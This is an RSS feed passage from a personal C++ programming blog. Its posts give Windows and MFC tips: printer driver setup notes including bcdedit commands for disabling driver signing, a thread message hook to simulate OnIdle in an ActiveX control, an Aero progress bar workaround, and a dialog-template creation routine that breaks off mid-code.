﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-brent's hut-随笔分类-Windows</title><link>http://www.cppblog.com/aqazero/category/2110.html</link><description /><language>zh-cn</language><lastBuildDate>Fri, 14 Sep 2012 22:55:12 GMT</lastBuildDate><pubDate>Fri, 14 Sep 2012 22:55:12 GMT</pubDate><ttl>60</ttl><item><title>printer driver</title><link>http://www.cppblog.com/aqazero/archive/2012/09/12/190456.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Wed, 12 Sep 2012 15:26:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2012/09/12/190456.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/190456.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2012/09/12/190456.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/190456.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/190456.html</trackback:ping><description><![CDATA[<div>C:\PROGRA~2\COMMON~1\FLOORC~1\FEP\PRIMOA~2\PrimoRun.exe</div><br />1) disable driver digital signatures<br /><a href="http://answers.microsoft.com/en-us/windows/forum/windows_7-windows_programs/turning-off-digital-signatures/23c67c73-3fa0-4de3-a9b5-3adf4c3472f3">http://answers.microsoft.com/en-us/windows/forum/windows_7-windows_programs/turning-off-digital-signatures/23c67c73-3fa0-4de3-a9b5-3adf4c3472f3</a>&nbsp;<br /><br /><p style="border: none; margin: 0px; padding: 0px 0px 5px; font-family: Arial, sans-serif; font-size: 12px; line-height: normal; background-color: #ffffff; ">You can disable digitally signed signatures, however it is not recommended.<br /><strong>Important:&nbsp;</strong>The driver signing enforcement in Windows 7 and Vista is there for a reason. Unsigned drivers could theoretically contain malicious code and harm your computer.</p><p style="border: none; margin: 0px; padding: 0px 0px 5px; font-family: Arial, sans-serif; font-size: 12px; line-height: normal; background-color: #ffffff; "><strong>Step 1:</strong>&nbsp;Click Start button on the left bottom corner of desktop. In the search box, type "cmd"<br /><br /><strong>Step 2:</strong>&nbsp;Go to Run command, and right click on command prompt and click on "Run as administrator".<br /><br /><strong>Step 3:</strong>&nbsp;In the command prompt, type in these commands: Be very careful here. BCDEDIT controls how your computer boots up.<br /></p><p style="border: none; margin: 0px; padding: 0px 0px 5px; font-family: Arial, sans-serif; font-size: 12px; line-height: normal; background-color: #ffffff; "><strong>IMPORTANT:</strong>make a backup of your bcd file first. To do that, type:<br /><strong>bcdedit /export C:\savedbcd</strong><br /><br />This will create a file c:\savebcd which is your boot entry backup.<br />If you mess up, you can always undo changes by:<br /><br /><strong>bcdedit /import c:\savedbcd</strong></p><p style="border: none; margin: 0px; padding: 0px 0px 5px; font-family: Arial, sans-serif; font-size: 12px; line-height: normal; background-color: #ffffff; ">Then type these commands:<br /><br /><strong>bcdedit.exe -set loadoptions DDISABLE_INTEGRITY_CHECKS</strong><br /><strong>bcdedit.exe -set TESTSIGNING ON</strong><br /><br />After you finished the steps above mentioned, you have made digital driver signing signature disabled for all installation.&nbsp;So you can install device drivers on Windows 7 without warning message that those drivers should be digitally signed.<br /><br /><br />2) install gpedit on window 7 basic&nbsp;<br /><a href="http://www.askvg.com/how-to-enable-group-policy-editor-gpedit-msc-in-windows-7-home-premium-home-basic-and-starter-editions/comment-page-4/#comments">http://www.askvg.com/how-to-enable-group-policy-editor-gpedit-msc-in-windows-7-home-premium-home-basic-and-starter-editions/comment-page-4/#comments</a>&nbsp;<br /><br /><strong style="padding: 0px; margin: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 13px; color: #333333; line-height: 20px; ">NOTE:</strong><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 20px; ">&nbsp;For Windows 7&nbsp;</span><strong style="padding: 0px; margin: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 13px; color: #333333; line-height: 20px; ">64-bit (x64)</strong><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 20px; ">&nbsp;users! You'll also need to go to "SysWOW64" folder present in C:\Windows folder and copy "GroupPolicy", "GroupPolicyUsers" folders and gpedit.msc file from there and paste them in "C:\Windows\System32" folder.</span>&nbsp;<br /><br /><span style="font-size: 11px;"><a href="http://www.cppblog.com/Files/aqazero/add_gpedit_msc_by_jwils876-d3kh6vm.zip">http://www.cppblog.com/Files/aqazero/add_gpedit_msc_by_jwils876-d3kh6vm.zip</a></span><br /><br /><br />3) uninstall&nbsp;<span style="color: #333333; font-family: arial, helvetica, clean, sans-serif; font-size: 13px; line-height: 16px; ">AOL</span>&nbsp;<br /><a href="http://answers.yahoo.com/question/index?qid=20061224095808AAMxsCT">http://answers.yahoo.com/question/index?qid=20061224095808AAMxsCT</a>&nbsp;<br /><span style="color: #333333; font-family: arial, helvetica, clean, sans-serif; font-size: 13px; line-height: 16px; ">AOL ANTIVIRUS</span>&nbsp;<span style="color: #333333; font-family: arial, helvetica, clean, sans-serif; font-size: 13px; line-height: 16px; ">AOL SPYWARE PROTECTION</span>&nbsp;&nbsp;<span style="color: #333333; font-family: arial, helvetica, clean, sans-serif; font-size: 13px; line-height: 16px; ">AOL FIREWALL</span>&nbsp;<span style="color: #333333; font-family: arial, helvetica, clean, sans-serif; font-size: 13px; line-height: 16px; ">AOL SAFETY AND SECURITY CENTER</span>&nbsp;<br /><br /><a href="http://forums.techguy.org/digital-photography-imaging/536280-alternate-solution-printer-driver-unknown.html">http://forums.techguy.org/digital-photography-imaging/536280-alternate-solution-printer-driver-unknown.html</a>&nbsp;<br /><br /><br /><br /></p><img src ="http://www.cppblog.com/aqazero/aggbug/190456.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2012-09-12 23:26 <a href="http://www.cppblog.com/aqazero/archive/2012/09/12/190456.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>simulate OnIdle in MFC ActiveX control</title><link>http://www.cppblog.com/aqazero/archive/2010/04/15/112672.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Thu, 15 Apr 2010 07:49:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2010/04/15/112672.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/112672.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2010/04/15/112672.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/112672.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/112672.html</trackback:ping><description><![CDATA[There are two ways to do this, one is simple, another is complicated but more powerful.<br><br>Method A:<br>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">::SetWindowsHookEx(WH_FOREGROUNDIDLE, YourIdleProc,&nbsp;AfxGetInstanceHandle(),&nbsp;GetCurrentThreadId());</span></div>
<br>Method B (my way):<br>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008080;">&nbsp;1</span>&nbsp;<span style="color: #0000ff;">static</span><span style="color: #000000;">&nbsp;HHOOK&nbsp;s_hGetMsgHook&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;NULL;<br></span><span style="color: #008080;">&nbsp;2</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">&nbsp;3</span>&nbsp;<span style="color: #000000;">LRESULT&nbsp;FAR&nbsp;PASCAL&nbsp;GetMsgProc(</span><span style="color: #0000ff;">int</span><span style="color: #000000;">&nbsp;nCode,&nbsp;WPARAM&nbsp;wParam,&nbsp;LPARAM&nbsp;lParam)<br></span><span style="color: #008080;">&nbsp;4</span>&nbsp;<span style="color: #000000;">{<br></span><span style="color: #008080;">&nbsp;5</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;AFX_MANAGE_STATE(AfxGetStaticModuleState(&nbsp;));<br></span><span style="color: #008080;">&nbsp;6</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">&nbsp;7</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;LPMSG&nbsp;lpMsg&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;(LPMSG)&nbsp;lParam;<br></span><span style="color: #008080;">&nbsp;8</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(&nbsp;(nCode&nbsp;</span><span style="color: #000000;">&gt;=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">)&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">&nbsp;PM_REMOVE&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;wParam)<br></span><span style="color: #008080;">&nbsp;9</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="color: #008080;">10</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">your&nbsp;code&nbsp;here.&nbsp;maybe&nbsp;to&nbsp;deal&nbsp;with&nbsp;hot-keys,&nbsp;accelerators ...<br></span><span style="color: #008080;">11</span>&nbsp;<span style="color: #008000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">see&nbsp;</span><span style="color: #008000; text-decoration: underline;">http://support.microsoft.com/kb/187988</span><span style="color: #008000;"><br></span><span style="color: #008080;">12</span>&nbsp;<span style="color: #008000;"><br></span><span style="color: #008080;">13</span>&nbsp;<span style="color: #008000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">my&nbsp;code&nbsp;to&nbsp;simulate&nbsp;OnIdle</span><span style="color: #008000;"><br></span><span style="color: #008080;">14</span>&nbsp;<span style="color: #008000;"></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">static</span><span style="color: #000000;">&nbsp;BOOL&nbsp;bIdle&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;FALSE;<br></span><span style="color: #008080;">15</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CWinApp</span><span style="color: #000000;">*</span><span style="color: #000000;">&nbsp;pApp&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;AfxGetApp();<br></span><span style="color: #008080;">16</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;">bIdle&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">&nbsp;pApp</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">IsIdleMessage(lpMsg))<br></span><span style="color: #008080;">17</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bIdle&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;TRUE;<br></span><span style="color: #008080;">18</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="color: #008080;">19</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(bIdle)<br></span><span style="color: #008080;">20</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="color: #008080;">21</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MSG&nbsp;msgPeek&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;{</span><span style="color: #000000;">0</span><span style="color: #000000;">};<br></span><span style="color: #008080;">22</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;">::PeekMessage(</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">msgPeek,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,&nbsp;PM_NOREMOVE))<br></span><span style="color: #008080;">23</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="color: #008080;">24</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VERIFY(PostMessage(AfxGetMainWnd()</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">GetSafeHwnd(),&nbsp;WM_USER</span><span style="color: #000000;">+</span><span style="color: #000000;">0x12</span><span style="color: #000000;">,&nbsp;</span><span style="color: #000000;">0x34</span><span style="color: #000000;">,&nbsp;</span><span style="color: #000000;">0x56</span><span style="color: #000000;">));<br></span><span style="color: #008080;">25</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br></span><span style="color: #008080;">26</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br></span><span style="color: #008080;">27</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">28</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(lpMsg</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">hwnd&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;AfxGetMainWnd()</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">GetSafeHwnd()&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;"><br></span><span style="color: #008080;">29</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpMsg</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">message&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;WM_USER</span><span style="color: #000000;">+</span><span style="color: #000000;">0x12</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">&nbsp;lpMsg</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">wParam&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0x34</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">&nbsp;lpMsg</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">lParam&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0x56</span><span style="color: #000000;">)<br></span><span style="color: #008080;">30</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="color: #008080;">31</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpMsg</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">message&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;WM_NULL;<br></span><span style="color: #008080;">32</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpMsg</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">lParam&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0L</span><span style="color: #000000;">;<br></span><span style="color: #008080;">33</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpMsg</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">wParam&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0L</span><span style="color: #000000;">;<br></span><span style="color: #008080;">34</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">35</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pApp</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">OnIdle(</span><span style="color: #000000;">0</span><span style="color: #000000;">);<br></span><span style="color: #008080;">36</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bIdle&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;FALSE;<br></span><span style="color: #008080;">37</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br></span><span style="color: #008080;">38</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}<br></span><span style="color: #008080;">39</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">40</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;::CallNextHookEx(s_hGetMsgHook,&nbsp;nCode,&nbsp;wParam,&nbsp;lParam);<br></span><span style="color: #008080;">41</span>&nbsp;<span style="color: #000000;">}<br></span><span style="color: #008080;">42</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">43</span>&nbsp;<span style="color: #000000;"></span><span style="color: #0000ff;">int</span><span style="color: #000000;">&nbsp;CYourOleControl::OnCreate(LPCREATESTRUCT&nbsp;lpCreateStruct)&nbsp;<br></span><span style="color: #008080;">44</span>&nbsp;<span style="color: #000000;">{<br></span><span style="color: #008080;">45</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;"></span><span style="color: #008000;">...<br></span><span style="color: #008080;">46</span>&nbsp;<span style="color: #008000;"></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="color: #008080;">47</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(NULL&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;s_hGetMsgHook)<br></span><span style="color: #008080;">48</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s_hGetMsgHook&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;::SetWindowsHookEx(WH_GETMESSAGE,&nbsp;GetMsgProc,&nbsp;AfxGetInstanceHandle(),&nbsp;GetCurrentThreadId());<br></span><span style="color: #008080;">49</span>&nbsp;<span style="color: #000000;">}<br></span><span style="color: #008080;">50</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">51</span>&nbsp;<span style="color: #000000;"></span><span style="color: #0000ff;">void</span><span style="color: #000000;">&nbsp;CYourOleControl::OnDestroy()&nbsp;<br></span><span style="color: #008080;">52</span>&nbsp;<span style="color: #000000;">{<br></span><span style="color: #008080;">53</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">...</span><span style="color: #008000;"><br></span><span style="color: #008080;">54</span>&nbsp;<span style="color: #008000;"></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="color: #008080;">55</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;::UnhookWindowsHookEx(s_hGetMsgHook);<br></span><span style="color: #008080;">56</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;s_hGetMsgHook&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;NULL;<br></span><span style="color: #008080;">57</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">58</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;COleControl::OnDestroy();<br></span><span style="color: #008080;">59</span>&nbsp;<span style="color: #000000;">}</span></div>
<br>Method A is far more simple, but with Method B:<br><br>1) You can override CWinApp::IsIdleMessage to filter some special messages, such as a frequent timer which will not affect what you want to do in CWinApp::OnIdle. Because timer will affect message queue and if you don't filter it, OnIdle will be called every time after the timer is invoked.<br><br>2) Sometimes your action in OnIdle will affect message queue inevitably, thus you will get a infinite loop: OnIdle-&gt;the special messages in message queue-&gt;OnIdle-&gt;... But with Method B, with SPY++ you can find the special messages, and filter them in IsIdleMessage.<br>   <img src ="http://www.cppblog.com/aqazero/aggbug/112672.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2010-04-15 15:49 <a href="http://www.cppblog.com/aqazero/archive/2010/04/15/112672.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>vista windows 7 areo progress bar</title><link>http://www.cppblog.com/aqazero/archive/2009/11/06/100283.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Fri, 06 Nov 2009 03:56:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2009/11/06/100283.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/100283.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2009/11/06/100283.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/100283.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/100283.html</trackback:ping><description><![CDATA[vista windows 7 areo progress bar 比较恶心， 它会自己画进度， 以前的正常的代码到vista/window7上以后， 进度条就画不到100%了。<br><br>http://stackoverflow.com/questions/313792/disabling-progress-bar-animation-on-vista-aero<br>http://msdn.microsoft.com/en-us/library/aa511486.aspx<br><br>用"meters"? 没空啊。<br><br>我的暴力方法是：
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">g_xpStyle.SetWindowTheme(m_hProgressWnd,&nbsp;L</span><span style="color: #000000;">""</span><span style="color: #000000;">,L</span><span style="color: #000000;">""</span><span style="color: #000000;">);</span></div>
<br>g_xpStyle 就是那个 CVisualStylesXP， google 一下就有了。<br> <img src ="http://www.cppblog.com/aqazero/aggbug/100283.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2009-11-06 11:56 <a href="http://www.cppblog.com/aqazero/archive/2009/11/06/100283.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>恨不相逢未嫁时</title><link>http://www.cppblog.com/aqazero/archive/2009/10/29/99731.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Thu, 29 Oct 2009 03:56:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2009/10/29/99731.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/99731.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2009/10/29/99731.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/99731.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/99731.html</trackback:ping><description><![CDATA[http://www.codeguru.com/cpp/controls/toolbar/customizingtoolbars/article.php/c2511/<br>bcgcontrolbar<br><br>人世间最痛苦的事莫过于此。<br><br><img src ="http://www.cppblog.com/aqazero/aggbug/99731.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2009-10-29 11:56 <a href="http://www.cppblog.com/aqazero/archive/2009/10/29/99731.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>create mfc dialog by template will drive you mad.</title><link>http://www.cppblog.com/aqazero/archive/2008/11/19/67287.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Wed, 19 Nov 2008 07:10:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2008/11/19/67287.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/67287.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2008/11/19/67287.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/67287.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/67287.html</trackback:ping><description><![CDATA[I have a dialog template in resource, and i have a dialog class, called CMyDialog.<br><br>And now, sometimes , i need CMyDialog to be a model dialog (WS_POPUP), sometimes be a child of another dialog(WS_CHILD).<br><br>How to make this done without duplicating the template in resource?<br><br>Call ModifyStyle after creation? Failed<br>Modify the LPCREATESTRUCT's style in CMyDialog::OnCreate ? Failed.<br>Override PreCreateWindow? Failed.<br><br>After a lot of tracing and a lot of googling. I worked out something like this:<br><br>
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">BOOL&nbsp;CMyDialog::CreateAsChild(CWnd&nbsp;</span><span style="color: #000000;">*</span><span style="color: #000000;">&nbsp;pParent)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;">IsWindow(pParent</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">GetSafeHwnd()))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;FALSE;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;m_lpszTemplateName&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;ATL_MAKEINTRESOURCE(IDD_WALLLAYER_PROPERTYPAGE);&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;used&nbsp;for&nbsp;help</span><span style="color: #008000;"><br></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(m_nIDHelp&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_nIDHelp&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;LOWORD((DWORD_PTR)m_lpszTemplateName);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;HINSTANCE&nbsp;hInst&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;AfxFindResourceHandle(m_lpszTemplateName,&nbsp;RT_DIALOG);<br>&nbsp;&nbsp;&nbsp;&nbsp;HRSRC&nbsp;hResource&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;::FindResource(hInst,&nbsp;m_lpszTemplateName,&nbsp;RT_DIALOG);<br>&nbsp;&nbsp;&nbsp;&nbsp;HGLOBAL&nbsp;hTemplate&nbsp;</span><span style="color: #000000;">=</span><span style="color: 